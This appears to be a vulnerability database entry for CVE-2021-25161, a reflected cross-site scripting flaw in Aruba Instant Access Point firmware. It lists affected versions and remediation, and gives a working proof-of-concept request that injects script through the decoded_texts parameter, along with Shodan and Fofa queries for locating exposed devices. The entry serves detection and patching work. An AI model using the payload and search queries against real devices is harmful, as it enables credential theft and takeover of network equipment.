| Title | Aruba Instant Access Point (IAP) - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations. |
| Remediation | Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02593 |
| CVE ID | CVE-2021-25161 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Aruba" |
| Fofa Query | body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js" |
| Tags | cve cve2021 xss aruba web vuln |
A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25161.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25161.pcap
N/AN/A